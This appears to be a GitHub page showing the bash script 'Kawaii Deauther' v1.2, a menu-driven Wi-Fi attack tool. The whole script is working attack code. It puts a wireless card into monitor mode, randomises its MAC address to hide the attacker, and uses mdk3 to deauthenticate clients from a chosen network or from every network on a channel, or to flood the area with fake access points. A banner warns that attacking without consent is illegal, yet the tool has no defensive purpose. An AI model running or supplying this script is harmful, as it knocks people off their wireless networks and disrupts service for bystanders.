This repository was archived by the owner on Aug 31, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 82
/
Copy pathKawaiiDeauther.sh
executable file
·228 lines (211 loc) · 7.35 KB
/
KawaiiDeauther.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#!/bin/bash
# Name: Kawaii Deauther
# Author: Arya Narotama (4WSec)
# Github: github.com/aryanrtm
# Instagram: instagram.com/aryanrtm_
# Give me the credits if you recode this tool. Don't be a SKID!
# Kawaii Deauther is made with <3 by Arya Narotama - Anon Cyber Team - 2020
### Colors ###
BK=$(tput setaf 0) # Black
GR=$(tput setaf 2) # Green
RD=$(tput setaf 1) # Red
YW=$(tput setaf 3) # Yellow
CY=$(tput setaf 6) # Cyan
WH=$(tput setaf 7) # White
NT=$(tput sgr0) # Netral
BD=$(tput bold) # Bold
BG=$(tput setab 4) # Background Color
# Check root
function chk_root () {
if [[ "$(id -u)" -ne 0 ]]; then
banner
printf " ${BD}${WH}[${RD}!${WH}] ${RD}KawaiiDeauther must be run as root ${YW}。゚・(>﹏<)・゚。\n"
exit 1
fi
}
# Function for displaying banner
function banner () {
printf "${BD}
${GR}┊┊ ${WH}╭━━━━━━
${GR}┊┊┊┊${YW}╭━╱▔▔▔╲━╮${GR}┊┊${YW}☼ ${WH}╭╯${RD}KAWAII
${GR}┊╱╲┊${YW}╰▏▆┊┊┊▇▕╯${GR}╱╲┊ ${WH}┃${RD}DEAUTHER ${NT}${CY}v1.2${BD}
${GR}▔▔▔▔▔${YW}▏┊┊▇┊┊▕${GR}▔▔▔▔ ${WH}╰┳━━━━━━
${GR}┈${YW}╱▔▔╱┊┊━┻━┊┊╲▔▔╲ ${WH}━━╯${YW}
${GR}┈${YW}╲▂╱╭━━╮┊╭━━╮╲▂╱
${GR}┈┈${YW}▔▔╰┻┻╯▔╰┻┻╯▔▔${GR}┈┈ ${RD}© 4WSec - 2020
${NT}${WH}[${RD}!${WH}] I am not responsible for damage caused by ${BD}${GR}Kawaii Deauther${WH}${NT}.
Attacking targets without prior mutual consent is ${BD}${RD}illegal${NT}!${BD}
"
}
function banner_2 () {
printf "
${BD}${RD}
\t@@@@@ @@@@@
\t@@@@@@@ @@@@@@@
\t@@@@@@@ @@@@@@@@@@@@@@@ @@@@@@@
\t @@@@@@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@@
\t @@@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@@
\t @@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@
\t @@ @@@@@@@@@@@@@@@@@@@@@@@@@ @@
\t @@@@@@@ @@@@@@ @@@@@@
\t @@@@@@ @@@@ @@@@@
\t @@@@@@ @@@@ @@@@@
\t @@@@@@ @@@@@@ @@@@@
\t @@@@@@@@@@ @@@@@@@@@
\t @@@@ @@@@ ${WH}@ @ @ @ ${RD}@@@@ @@@@
\t @@@@@ @@@ ${WH}@ @ @ @ ${RD}@@@ @@@@@
\t @@@@@ @@@@@@@@@@@@@ @@@@@
\t @@@@ @@@@@@@@@@@ @@@@
\t @@@@@ @@@@@@@ @@@@@
\t @@@@@@@ @@@@@@@
\t @@@@@ @@@@@
"
}
# Function to get the interface
function get_interface () {
printf " ${BD}${GR}Interface List ${WH}\n"
printf " ==============\n\n"
interface=$(ifconfig -a | sed 's/[ \t].*//;/^$/d' | tr -d ':' > .iface.tmp)
con=1
for x in $(cat .iface.tmp); do
printf "${WH}%s) ${GR}%s\n" $con $x
let con++
done
echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read iface
selected_interface=$(sed ''$iface'q;d' .iface.tmp)
IFS=$'\n'
}
# Function to enable changing to monitor mode
function monitor_mode () {
ifconfig $selected_interface down
iwconfig $selected_interface mode monitor
# Change MAC Address
macchanger -r $selected_interface
ifconfig $selected_interface up
}
# Function to deactivate monitor mode
function deactivate_destruction () {
clear
sleep 3
ifconfig $selected_interface down >> /dev/null 2>&1
macchanger -p $selected_interface >> /dev/null 2>&1
iwconfig $selected_interface mode managed >> /dev/null 2>&1
ifconfig $selected_interface up >> /dev/null 2>&1
clear
banner
printf " ${BD}${WH}[${RD}*${WH}] ${RD}Deactivate Destruction ...\n"
printf " ${BD}${WH}[${RD}*${WH}] ${RD}Arigatō, Nyan ... ${GR}~(=^‥^)丿\n"
rm -f .iface.tmp
exit
}
function deactivate_destruction_2 () {
clear
sleep 3
ifconfig $selected_interface down >> /dev/null 2>&1
macchanger -p $selected_interface >> /dev/null 2>&1
iwconfig $selected_interface mode managed >> /dev/null 2>&1
ifconfig $selected_interface up >> /dev/null 2>&1
nmcli device connect $selected_interface >> /dev/null 2>&1
clear
banner
printf " ${BD}${WH}[${RD}*${WH}] ${RD}Deactivate Destruction ...\n"
printf " ${BD}${WH}[${RD}*${WH}] ${RD}Arigatō, Nyan ... ${GR}~(=^‥^)丿\n"
rm -f .iface.tmp
rm -f $rand_ssid"_list.txt"
exit
}
### Menu ###
clear
chk_root
banner
printf " ${WH}1) ${GR}Takedown with SSID\n"
printf " ${WH}2) ${GR}Takedown all channels\n"
printf " ${WH}3) ${GR}Spam many fake AP\n"
printf " ${WH}4) ${GR}Exit\n"
echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attack
clear
if [[ $attack == 1 ]]; then
banner
printf "${NT}\n"
nmcli dev wifi
echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attck_ssid
clear
banner
get_interface
clear
banner_2
printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
monitor_mode >> /dev/null 2>&1
trap deactivate_destruction EXIT ### CTRL+C to exit
mdk3 $selected_interface d -n "$attck_ssid"
elif [[ $attack == 2 ]]; then
banner
printf "${NT}\n"
nmcli dev wifi
echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read attck_chnl
clear
banner
get_interface
clear
banner_2
printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
monitor_mode >> /dev/null 2>&1
trap deactivate_destruction EXIT ### CTRL+C to exit
mdk3 $selected_interface d -c $attck_chnl
elif [[ $attack == 3 ]]; then
banner
get_interface
clear
banner
printf "${WH}1) ${GR}Use default wordlist\n"
printf "${WH}2) ${GR}Use custom wordlist\n"
echo -ne "\n${RD}4WSec${GR}@${RD}Kawaii: ${WH}>> "; read spm
if [[ $spm == 1 ]]; then
nmcli device disconnect $selected_interface >> /dev/null 2>&1
clear
banner_2
trap deactivate_destruction_2 EXIT ### CTRL+C to exit
sleep 2
printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
ifconfig $selected_interface down
macchanger -r $selected_interface >> /dev/null 2>&1
iwconfig $selected_interface mode monitor
ifconfig $selected_interface up
trap deactivate_destruction_2 EXIT ### CTRL+C to exit
mdk3 $selected_interface b -f ssid_list.txt -a -s 1000
elif [[ $spm == 2 ]]; then
con=1
nmcli device disconnect $AD > /dev/null 2>&1
clear
banner
printf "\n${RD}4WSec${GR}@${RD}Kawaii${WH}(SSID(Name of Network)) >> "; read rand_ssid;
printf "\n${RD}4WSec${GR}@${RD}Kawaii${WH}(How Many SSID) >> "; read con_ssid;
for x in $(seq 1 $con_ssid); do
echo "$rand_ssid $x" >> $rand_ssid"_list.txt"
done
wait
clear
banner_2
trap deactivate_destruction_2 EXIT ### CTRL+C to exit
sleep 2
printf " ${WH}[ ${GR}Kawaii Deauther ${WH}]\n"
printf " ${WH}===== ${RD}(◣_◢) Begun To Destroy (◣_◢) ${WH}=====\n\n"
ifconfig $selected_interface down
macchanger -r $selected_interface >> /dev/null 2>&1
iwconfig $selected_interface mode monitor
ifconfig $selected_interface up
trap deactivate_destruction_2 EXIT
mdk3 $selected_interface b -f $rand_ssid"_list.txt" -a -s 1000
else
printf " ${BD}${WH}[${RD}!${WH}] ${RD}Invalid Option ...\n"
sleep 4
trap deactivate_destruction_2 EXIT ### CTRL+C to exit
fi
else
printf " ${BD}${WH}[${RD}!${WH}] ${RD}Invalid Option ...\n"
sleep 4
trap deactivate_destruction EXIT ### CTRL+C to exit
fi